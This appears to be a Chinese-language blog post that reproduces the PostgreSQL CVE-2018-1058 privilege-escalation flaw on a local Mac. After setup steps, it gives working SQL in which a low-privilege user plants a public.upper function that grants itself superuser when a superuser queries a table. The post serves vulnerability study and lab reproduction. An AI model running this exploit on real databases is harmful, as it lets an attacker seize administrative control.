零、參考文獻和緒論:
1、先知社區chybeta大神的--PostgreSQL 遠程代碼執行漏洞分析及利用—【CVE-2018-1058】--一文
2、博客園hunchill的--Mac 下 PostgreSQL 的安裝與使用--一文
一、PostgreSQL環境搭建:
在mac上面安裝postgresql並啟動postgresql
1 brew install postgresql 2 brew services start postgresql
二、創建用戶配置環境:
1、初始化數據庫,忘記在安裝中還是初始化中,生成了超級用戶,我的超級用戶是hostname,這里使用bobac代替
1 brew services stop postgresql 2 initdb /usr/local/var/postgres -E utf8 3 brew services start postgresql
2、創建普通用戶
1 createuser evil -P
3、創建數據庫:
1 createdb evil -O evil -E UTF8 -e
三、原理分析介紹:
這個漏洞的原理就是在public空間上重載函數,加入惡意的程序代碼。等待其他賬戶,尤其是高權限賬戶調用這個函數的時候,就會執行惡意代碼(以高權限執行)從而達到遠程惡意代碼執行的目的。
四、過程舉例(參考)
1、創建表並插入數據(evil權限執行):
1 CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;
2、定義函數(evil權限執行):
1 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ 2 ALTER ROLE evil SUPERUSER; 3 SELECT pg_catalog.upper($1); 4 $$ LANGUAGE SQL VOLATILE;
3、查詢時候使用upper函數(bobac權限執行)
1 SELECT upper(contents) FROM hehehehe;
此時就執行了ALTER ROLE evil SUPERUSER;
4、然后查看用戶權限:
1 SELECT rolname,rolsuper FROM pg_roles;